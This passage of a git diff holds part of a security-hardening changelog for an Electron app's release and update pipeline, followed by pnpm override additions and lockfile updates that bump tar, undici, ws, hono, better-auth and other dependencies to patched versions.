UI:** PD-010 (verify-token staleness guard + verified-URL match before connect), PD-011/PD-046 (UUID-validate/regenerate profile ids + de-dup on load), PD-013 (null `snapshot` guards), PD-014 (re-entry/double-submit guard on connect paths), PD-009 (preload `onStatus` returns an unsubscribe). +- **Release gates / CI:** PD-021 (missing embedded server bundle now fails verification), PD-022 (notarization fails closed unless `ALLOW_UNNOTARIZED_MACOS_BUILD=true`), PD-030 (workflow_dispatch inputs routed through step `env:` + tag validation in all three workflows), plus a new `ci.yml` (build + unit tests on PR/push). +- **Strictness:** PD-038 (added `noImplicitOverride`, `noFallthroughCasesInSwitch`). + +### 2026-06-11 — follow-up branch scan + +Fixed in this pass (`pnpm audit --audit-level moderate`, build, 54 unit tests, script syntax checks, and diff whitespace checks green): + +- **Dependency audit:** added patched transitive overrides for current `pnpm audit` findings (`tar`, `undici`, `fast-uri`, `better-auth`, `ws`, `@anthropic-ai/sdk`, `@tootallnate/once`, `qs`, `tmp`, `hono`, `kysely`, `brace-expansion` 5.x). +- **Electron/main runtime:** PD-004 (removed login-shell PATH probing), PD-007 (reuses the current local server/window instead of double-spawning), and partially mitigated PD-003 by requiring local `/api/health` to pass before loading the embedded server origin. +- **Connection store:** PD-045 (remote health/result updates can no longer grant insecure-HTTP consent to themselves) and PD-051 (newer `connections.json` versions are backed up instead of downgraded in place). +- **Updater consent:** PD-047/PD-048 (scheduled checks no longer auto-download, updates no longer auto-install on app quit after "Later", and staged update state is not cleared before `quitAndInstall()`). +- **Build/release scripts:** PD-023 (removed shell-string cleanup/download/extract/clone/build commands from the edited release paths), PD-024 (verifier now requires expected identity/team or stapling), PD-025 (packaging uses installed Electron version), PD-026 (repo-contained output roots unless `--allow-external-output` is explicit), PD-027 (Finder duplicate removal now requires an original sibling), PD-029 (GitHub release lookup only treats actual not-found as missing). +- **CI/release workflows:** PD-031 (active actions pinned to commit SHAs plus Dependabot actions updates), PD-034 (default release workflow token is read-only; publish job alone gets `contents: write`), PD-037 (notarization submit requires exactly one x64 and one arm64 ZIP). + +Deferred (noted, not in this PR): + +- PD-017/PD-018/PD-019/PD-020 — require a committed staging lockfile / pinned upstream commit SHA (needs a reviewed manifest, out of scope for a code-only patch). +- PD-032 — entitlement tightening needs a notarized test build to validate. +- PD-038 `noUncheckedIndexedAccess` — broad fallout into unrelated window-sizing code; deferred to keep this diff focused. +- PD-003 full child identity — needs a server-supported startup token/handshake; this pass verifies health before load but cannot prove process identity alone. +- PD-028 — replacing the hand-rolled YAML parser and recomputing release manifest sha512s needs a focused release-manifest parser change. +- PD-033 — dormant disabled workflow remains documented but is not executable. +- PD-035/PD-036 — remaining release-policy workflow hardening; tracked for a follow-up pass. +- PD-039 (remaining) — broader release-script test coverage gaps. diff --git a/package.json b/package.json index 589862bc..84b4ab96 100644 --- a/package.json +++ b/package.json @@ -43,14 +43,26 @@ }, "pnpm": { "overrides": { + "@anthropic-ai/sdk": "0.91.1", + "@tootallnate/once": "2.0.1", "@xmldom/xmldom": "0.8.13", "brace-expansion@1.1.12": "1.1.13", "brace-expansion@2.0.2": "2.0.3", + "brace-expansion@5.0.5": "5.0.6", + "better-auth": "1.6.11", "defu": "6.1.7", "dompurify": "3.4.2", "fast-xml-parser": "5.7.3", + "fast-uri": "3.1.2", + "hono": "4.12.21", + "kysely": "0.28.17", "lodash": "4.18.1", - "path-to-regexp": "8.4.2" + "path-to-regexp": "8.4.2", + "qs": "6.15.2", + "tar": "7.5.14", + "tmp": "0.2.6", + "undici": "6.25.0", + "ws": "8.20.1" } } } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index ec5816ba..d91e9427 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -5,14 +5,26 @@ settings: excludeLinksFromLockfile: false overrides: + '@anthropic-ai/sdk': 0.91.1 + '@tootallnate/once': 2.0.1 '@xmldom/xmldom': 0.8.13 brace-expansion@1.1.12: 1.1.13 brace-expansion@2.0.2: 2.0.3 + brace-expansion@5.0.5: 5.0.6 + better-auth: 1.6.11 defu: 6.1.7 dompurify: 3.4.2 fast-xml-parser: 5.7.3 + fast-uri: 3.1.2 + hono: 4.12.21 + kysely: 0.28.17 lodash: 4.18.1 path-to-regexp: 8.4.2 + qs: 6.15.2 + tar: 7.5.14 + tmp: 0.2.6 + undici: 6.25.0 + ws: 8.20.1 importers: @@ -30,7 +42,7 @@ importers: devDependencies: '@paperclipai/server': specifier: 2026.609.0 - version: 2026.609.0(@noble/hashes@2.0.1)(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) + version: 2026.609.0(@noble/hashes@2.0.1)(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) electron: specifier: ^41.5.0 version: 41.5.0 @@ -113,8 +125,8 @@ packages: peerDependencies: zod: ^4.0.0 - '@anthropic-ai/sdk@0.81.0': - resolution: {integrity: sha512-D4K5PvEV6wPiRtVlVsJHIUhHAmOZ6IT/I9rKlTf84gR7GyyAurPJK7z9BOf/AZqC5d1DhYQGJNKRmV+q8dGhgw==} + '@anthropic-ai/sdk@0.91.1': + resolution: {integrity: sha512-LAmu761tSN9r66ixvmciswUj/ZC+1Q4iAfpedTfSVLeswRwnY3n2Nb6Tsk+cLPP28aLOPWeMgIuTuCcMC6W/iw==} hasBin: true peerDependencies: zod: ^3.25.0 || ^4.0.0 @@ -295,23 +307,81 @@ packages: resolution: {integrity: sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==} engines: {node: '>=6.9.0'} - '@better-auth/core@1.4.18': - resolution: {integrity: sha512-q+awYgC7nkLEBdx2sW0iJjkzgSHlIxGnOpsN1r/O1+a4m7osJNHtfK2mKJSL1I+GfNyIlxJF8WvD/NLuYMpmcg==} + '@better-auth/core@1.6.11': + resolution: {integrity: sha512-LrwidLCV8azdMGjvtwp30nj9tIv1BwI3VhtC0UaGSjQkAVWw4bN42I8qwbxRziPeSQoj+zUVkOpxZzAWBDARtQ==} peerDependencies: - '@better-auth/utils': 0.3.0 + '@better-auth/utils': 0.4.0 '@better-fetch/fetch': 1.1.21 - better-call: 1.1.8 + '@cloudflare/workers-types': '>=4' + '@opentelemetry/api': ^1.9.0 + better-call: 1.3.5 jose: ^6.1.0 - kysely: ^0.28.5 + kysely: 0.28.17 nanostores: ^1.0.1 + peerDependenciesMeta: + '@cloudflare/workers-types': + optional: true + '@opentelemetry/api': + optional: true + + '@better-auth/drizzle-adapter@1.6.11': + resolution: {integrity: sha512-4jpkETIGZOHCf7BK4jnu22fdN6jjomH0/HhEzkaWy3+Eppi5PYlHTF/460jrTmA3Xc+Vqwp9t282ymHiEPypGw==} + peerDependencies: + '@better-auth/core': ^1.6.11 + '@better-auth/utils': 0.4.0 + drizzle-orm: ^0.45.2 + peerDependenciesMeta: + drizzle-orm: + optional: true + + '@better-auth/kysely-adapter@1.6.11': + resolution: {integrity: sha512-/g8M9RfIjdcZDnbstSUvQiINkvdNlCeZr248zwqx2/PVksQI1MhQofbzUn3RnQnbPKp0EPwpX/dR3oudRFenUg==} + peerDependencies: + '@better-auth/core': ^1.6.11 + '@better-auth/utils': 0.4.0 + kysely: 0.28.17 + peerDependenciesMeta: + kysely: + optional: true - '@better-auth/telemetry@1.4.18': - resolution: {integrity: sha512-e5rDF8S4j3Um/0LIVATL2in9dL4lfO2fr2v1Wio4qTMRbfxqnUDTa+6SZtwdeJrbc4O+a3c+IyIpjG9Q/6GpfQ==} + '@better-auth/memory-adapter@1.6.11': + resolution: {integrity: sha512-hpdfw0BBf8MuzLkIdmbcUZICbY9r/bhLO2RxSnkzT5+/O+0I0u2I8+m0YUP7vNllP/ZCKASHOYgXPLO75Z0f9Q==} peerDependencies: - '@better-auth/core': 1.4.18 + '@better-auth/core': ^1.6.11 + '@better-auth/utils': 0.4.0 - '@better-auth/utils@0.3.0': - resolution: {integrity: sha512-W+Adw6ZA6mgvnSnhOki270rwJ42t4XzSK6YWGF//BbVXL6SwCLWfyzBc1lN2m/4RM28KubdBKQ4X5VMoLRNPQw==} + '@better-auth/mongo-adapter@1.6.11': + resolution: {integrity: sha512-3Tor8rSv8vSEIMEaV2PFpPEuVhqc1gNoZ6eGvoh3LwExXXuj8madew6ob+H1pH7Aphn3Ar5PQ08AguT8TbwFAA==} + peerDependencies: + '@better-auth/core': ^1.6.11 + '@better-auth/utils': 0.4.0 + mongodb: ^6.0.0 || ^7.0.0 + peerDependenciesMeta: + mongodb: + optional: true + + '@better-auth/prisma-adapter@1.6.11': + resolution: {integrity: sha512-Pw+7q7zTp+VSci1V+CYMvuxIbAeVMZLe4lRo46LJoAKMHfjFl5T/ycsyFvWs/DkWC7n9gZZzRDEbHp0I5FiKKw==} + peerDependencies: + '@better-auth/core': ^1.6.11 + '@better-auth/utils': 0.4.0 + '@prisma/client': ^5.0.0 || ^6.0.0 || ^7.0.0 + prisma: ^5.0.0 || ^6.0.0 || ^7.0.0 + peerDependenciesMeta: + '@prisma/client': + optional: true + prisma: + optional: true + + '@better-auth/telemetry@1.6.11': + resolution: {integrity: sha512-hsjDHc8MZbm6/AHeNdtywrWedXevnBjmdvnHTcZub+rTVjOv+Td0roI8USKuC6uUibmrl//2rJfVCsGbopihNA==} + peerDependencies: + '@better-auth/core': ^1.6.11 + '@better-auth/utils': 0.4.0 + '@better-fetch/fetch': 1.1.21 + + '@better-auth/utils@0.4.0': + resolution: {integrity: sha512-RpMtLUIQAEWMgdPLNVbIF5ON2mm+CH0U3rCdUCU1VyeAUui4m38DyK7/aXMLZov2YDjG684pS1D0MBllrmgjQA==} '@better-fetch/fetch@1.1.21': resolution: {integrity: sha512-/ImESw0sskqlVR94jB+5+Pxjf+xBwDZF/N5+y2/q4EqD7IARUTSpPfIo8uf39SYpCxyOCtbyYpUrZ3F/k0zT4A==} @@ -673,10 +743,6 @@ packages: '@noble/hashes': optional: true - '@fastify/busboy@2.1.1': - resolution: {integrity: sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==} - engines: {node: '>=14'} - '@gar/promisify@1.1.3': resolution: {integrity: sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==} @@ -684,7 +750,7 @@ packages: resolution: {integrity: sha512-GwtvgtXxnWsucXvbQXkRgqksiH2Qed37H9xHZocE5sA3N8O8O8/8FA3uclQXxXVzc9XBZuEOMK7+r02FmSpHtw==} engines: {node: '>=18.14.1'} peerDependencies: - hono: ^4 + hono: 4.12.21 '@img/colour@1.1.0': resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} @@ -880,6 +946,14 @@ packages: engines: {node: '>=10'} deprecated: This functionality has been moved to @npmcli/fs + '@opentelemetry/api@1.9.1': + resolution: {integrity: sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==} + engines: {node: '>=8.0.0'} + + '@opentelemetry/semantic-conventions@1.41.1': + resolution: {integrity: sha512-/UhIkaZgPutTFmQ7RnIJGgDXZmtEJ7Dvi86xNTFWcnRxVRNk/aotsqDJYeEvDP+FSMB2SdW+pQzNMcWP0rwuNA==} + engines: {node: '>=14'} + '@paperclipai/adapter-acpx-local@2026.609.0': resolution: {integrity: sha512-A2XyBq42Uq5hGQbzLjhuS9b3gTqb8ABiKERIh3gnmRUH6tFbsBg+rdWNyXIR7dSNmYwkBW2TOddmZpdrI6gdMA==} @@ -1167,9 +1241,9 @@ packages: resolution: {integrity: sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==} engines: {node: '>=10'} - '@tootallnate/once@1.1.2': - resolution: {integrity: sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==} - engines: {node: '>= 6'} + '@tootallnate/once@2.0.1': + resolution: {integrity: sha512-HqmEUIGRJ5fSXchkVgR5F7qn48bDBzv0kWj/Kfu5e6uci4UlEeng4331LnBkWffb++Ei3FOVLxo8JJWMFBDMeQ==} + engines: {node: '>= 10'} '@types/cacheable-request@6.0.3': resolution: {integrity: sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==} @@ -1426,8 +1500,8 @@ packages: base64-js@1.5.1: resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} - better-auth@1.4.18: - resolution: {integrity: sha512-bnyifLWBPcYVltH3RhS7CM62MoelEqC6Q+GnZwfiDWNfepXoQZBjEvn4urcERC7NTKgKq5zNBM8rvPvRBa6xcg==} + better-auth@1.6.11: + resolution: {integrity: sha512-Wwt6+q07dwIhsp6XiM7L1qSXVUWBEtNl+eZvwM778CguFqDZFBN9Pt6LtFaHl55t8Z+Zc//5kxcbgDY8/79vFQ==} peerDependencies: '@lynx-js/react': '*' '@prisma/client': ^5.0.0 || ^6.0.0 || ^7.0.0 @@ -1436,7 +1510,7 @@ packages: '@tanstack/solid-start': ^1.0.0 better-sqlite3: ^12.0.0 drizzle-kit: '>=0.31.4' - drizzle-orm: '>=0.41.0' + drizzle-orm: ^0.45.2 mongodb: ^6.0.0 || ^7.0.0 mysql2: ^3.0.0 next: ^14.0.0 || ^15.0.0 || ^16.0.0 @@ -1488,8 +1562,8 @@ packages: vue: optional: true - better-call@1.1.8: - resolution: {integrity: sha512-XMQ2rs6FNXasGNfMjzbyroSwKwYbZ/T3IxruSS6U2MJRsSYh3wYtG3o6H00ZlKZ/C/UPOAD97tqgQJNsxyeTXw==} + better-call@1.3.5: + resolution: {integrity: sha512-kOFJkBP7utAQLEYrobZm3vkTH8mXq5GNgvjc5/XEST1ilVHaxXUXfeDeFlqoETMtyqS4+3/h4ONX2i++ebZrvA==} peerDependencies: zod: ^4.0.0 peerDependenciesMeta: @@ -1522,8 +1596,8 @@ packages: brace-expansion@2.0.3: resolution: {integrity: sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==} - brace-expansion@5.0.5: - resolution: {integrity: sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ==} + brace-expansion@5.0.6: + resolution: {integrity: sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==} engines: {node: 18 || 20 || >=22} buffer-crc32@0.2.13: @@ -1833,7 +1907,7 @@ packages: expo-sqlite: '>=14.0.0' gel: '>=2' knex: '*' - kysely: '*' + kysely: 0.28.17 mysql2: '>=2' pg: '>=8' postgres: '>=3' @@ -2064,8 +2138,8 @@ packages: fast-string-width@3.0.2: resolution: {integrity: sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==} - fast-uri@3.1.0: - resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} + fast-uri@3.1.2: + resolution: {integrity: sha512-rVjf7ArG3LTk+FS6Yw81V1DLuZl1bRbNrev6Tmd/9RaroeeRRJhAt7jg/6YFxbvAQXUCavSoZhPPj6oOx+5KjQ==} fast-wrap-ansi@0.2.0: resolution: {integrity: sha512-rLV8JHxTyhVmFYhBJuMujcrHqOT2cnO5Zxj37qROj23CP39GXubJRBUFF0z8KFK77Uc0SukZUf7JZhsVEQ6n8w==} @@ -2228,8 +2302,8 @@ packages: resolution: {integrity: sha512-9D4SrmMXm4AhOZ08lnlGCZBzwfRnGjzZjkvPlkRfoPTODM2YeIAaEk+zO0vInh8DI4Qr3ySN8hLFxV1eKRYFaA==} engines: {node: '>=20.0.0'} - hono@4.12.18: - resolution: {integrity: sha512-RWzP96k/yv0PQfyXnWjs6zot20TqfpfsNXhOnev8d1InAxubW93L11/oNUc3tQqn2G0bSdAOBpX+2uDFHV7kdQ==} + hono@4.12.21: + resolution: {integrity: sha512-uV63apnb0kyPtAUwoWgaGh9HyIFcv8lgmzPZSiTBQAFOFGIzka5EZ1dZocmGnn0XdX0+XTqJ6Tqv7selMuGLRQ==} engines: {node: '>=16.9.0'} hosted-git-info@4.1.0: @@ -2427,8 +2501,8 @@ packages: keyv@4.5.4: resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} - kysely@0.28.14: - resolution: {integrity: sha512-SU3lgh0rPvq7upc6vvdVrCsSMUG1h3ChvHVOY7wJ2fw4C9QEB7X3d5eyYEyULUX7UQtxZJtZXGuT6U2US72UYA==} + kysely@0.28.17: + resolution: {integrity: sha512-nbD8lB9EB3wNdMhOCdx5Li8DxnLbvKByylRLcJ1h+4SkrowVeECAyZlyiKMThF7xFdRz0jSQ2MoJr+wXux2y0Q==} engines: {node: '>=20.0.0'} lazy-val@1.0.5: @@ -2554,10 +2628,6 @@ packages: resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} engines: {node: '>=8'} - minipass@5.0.0: - resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} - engines: {node: '>=8'} - minipass@7.1.3: resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} engines: {node: '>=16 || 14 >=14.17'} @@ -2859,8 +2929,8 @@ packages: resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} engines: {node: '>=6'} - qs@6.15.0: - resolution: {integrity: sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==} + qs@6.15.2: + resolution: {integrity: sha512-Rzq0KEyX/w/tEybncDgdkZrJgVUsUMk3xjh3t5bv3S1HTAtg+uOYt72+ZfwiQwKdysThkTBdL/rTi6HDmX9Ddw==} engines: {node: '>=0.6'} quick-format-unescaped@4.0.4: @@ -3003,8 +3073,8 @@ packages: set-blocking@2.0.0: resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==} - set-cookie-parser@2.7.2: - resolution: {integrity: sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==} + set-cookie-parser@3.1.0: + resolution: {integrity: sha512-kjnC1DXBHcxaOaOXBHBeRtltsDG2nUiUni+jP92M9gYdW12rsmx92UsfpH7o5tDRs7I1ZZPSQJQGv3UaRfCiuw==} setprototypeof@1.2.0: resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} @@ -3160,11 +3230,6 @@ packages: tar-stream@3.2.0: resolution: {integrity: sha512-ojzvCvVaNp6aOTFmG7jaRD0meowIAuPc3cMMhSgKiVWws1GyHbGd/xvnyuRKcKlMpt3qvxx6r0hreCNITP9hIg==} - tar@6.2.1: - resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==} - engines: {node: '>=10'} - deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me - tar@7.5.14: resolution: {integrity: sha512-/7sHKgQO3JLP9ESlwTYUUftHUadOURUqq23xs1vjcnp8Vss6k0wCfzulyEtk5g91pjvnuriimGlyG7k6msrzRw==} engines: {node: '>=18'} @@ -3205,8 +3270,8 @@ packages: tmp-promise@3.0.3: resolution: {integrity: sha512-RwM7MoPojPxsOBYnyd2hy0bxtIlVrihNs9pj5SUvY8Zz1sQcQG2tG1hSr8PDxfgEB8RNKDhqbIlroIarSNDNsQ==} - tmp@0.2.5: - resolution: {integrity: sha512-voyz6MApa1rQGUxT3E+BK7/ROe8itEx7vD8/HEvt4xwXucvQ5G5oeEiHkmHZJuBO21RpOf+YYm9MOivj709jow==} + tmp@0.2.6: + resolution: {integrity: sha512-5sJPdPjfI5Kx+qbrDesxkglRBxW//g7hCsqspEjwkewGvBMGIKMOTKzLt1hFVJzyadba3lDUN20O9qhvbQUSTA==} engines: {node: '>=14.14'} toidentifier@1.0.1: @@ -3268,18 +3333,10 @@ packages: undici-types@7.18.2: resolution: {integrity: sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==} - undici@5.29.0: - resolution: {integrity: sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==} - engines: {node: '>=14.0'} - undici@6.25.0: resolution: {integrity: sha512-ZgpWDC5gmNiuY9CnLVXEH8rl50xhRCuLNA97fAUnKi8RRuV4E6KG31pDTsLVUKnohJE0I3XDrTeEydAXRw47xg==} engines: {node: '>=18.17'} - undici@7.24.6: - resolution: {integrity: sha512-Xi4agocCbRzt0yYMZGMA6ApD7gvtUFaxm4ZmeacWI4cZxaF6C+8I8QfofC20NAePiB/IcvZmzkJ7XPa471AEtA==} - engines: {node: '>=20.18.1'} - unique-filename@1.1.1: resolution: {integrity: sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==} @@ -3356,8 +3413,8 @@ packages: wrappy@1.0.2: resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} - ws@8.20.0: - resolution: {integrity: sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA==} + ws@8.20.1: + resolution: {integrity: sha512-It4dO0K5v//JtTXuPkfEOaI3uUN87iYPnqo/ZzqCoG3g8uhA66QUMs/SrM0YK7/NAu+r4LMh/9dq2A7k+rHs+w==} engines: {node: '>=10.0.0'} peerDependencies: bufferutil: ^4.0.1 @@ -3473,7 +3530,7 @@ snapshots: '@anthropic-ai/claude-agent-sdk@0.2.121(zod@4.3.6)': dependencies: - '@anthropic-ai/sdk': 0.81.0(zod@4.3.6) + '@anthropic-ai/sdk': 0.91.1(zod@4.3.6) '@modelcontextprotocol/sdk': 1.29.0(zod@4.3.6) zod: 4.3.6 optionalDependencies: @@ -3489,7 +3546,7 @@ snapshots: - '@cfworker/json-schema' - supports-color - '@anthropic-ai/sdk@0.81.0(zod@4.3.6)': + '@anthropic-ai/sdk@0.91.1(zod@4.3.6)': dependencies: json-schema-to-ts: 3.1.1 optionalDependencies: @@ -3959,24 +4016,58 @@ snapshots: '@babel/runtime@7.29.2': {} - '@better-auth/core@1.4.18(@better-auth/utils@0.3.0)(@better-fetch/fetch@1.1.21)(better-call@1.1.8(zod@4.3.6))(jose@6.2.2)(kysely@0.28.14)(nanostores@1.2.0)': + '@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0)': dependencies: - '@better-auth/utils': 0.3.0 + '@better-auth/utils': 0.4.0 '@better-fetch/fetch': 1.1.21 + '@opentelemetry/semantic-conventions': 1.41.1 '@standard-schema/spec': 1.1.0 - better-call: 1.1.8(zod@4.3.6) + better-call: 1.3.5(zod@4.3.6) jose: 6.2.2 - kysely: 0.28.14 + kysely: 0.28.17 nanostores: 1.2.0 zod: 4.3.6 + optionalDependencies: + '@opentelemetry/api': 1.9.1 + + '@better-auth/drizzle-adapter@1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)(drizzle-orm@0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7))': + dependencies: + '@better-auth/core': 1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0) + '@better-auth/utils': 0.4.0 + optionalDependencies: + drizzle-orm: 0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) + + '@better-auth/kysely-adapter@1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)(kysely@0.28.17)': + dependencies: + '@better-auth/core': 1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0) + '@better-auth/utils': 0.4.0 + optionalDependencies: + kysely: 0.28.17 + + '@better-auth/memory-adapter@1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)': + dependencies: + '@better-auth/core': 1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0) + '@better-auth/utils': 0.4.0 + + '@better-auth/mongo-adapter@1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)': + dependencies: + '@better-auth/core': 1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0) + '@better-auth/utils': 0.4.0 - '@better-auth/telemetry@1.4.18(@better-auth/core@1.4.18(@better-auth/utils@0.3.0)(@better-fetch/fetch@1.1.21)(better-call@1.1.8(zod@4.3.6))(jose@6.2.2)(kysely@0.28.14)(nanostores@1.2.0))': + '@better-auth/prisma-adapter@1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)': dependencies: - '@better-auth/core': 1.4.18(@better-auth/utils@0.3.0)(@better-fetch/fetch@1.1.21)(better-call@1.1.8(zod@4.3.6))(jose@6.2.2)(kysely@0.28.14)(nanostores@1.2.0) - '@better-auth/utils': 0.3.0 + '@better-auth/core': 1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0) + '@better-auth/utils': 0.4.0 + + 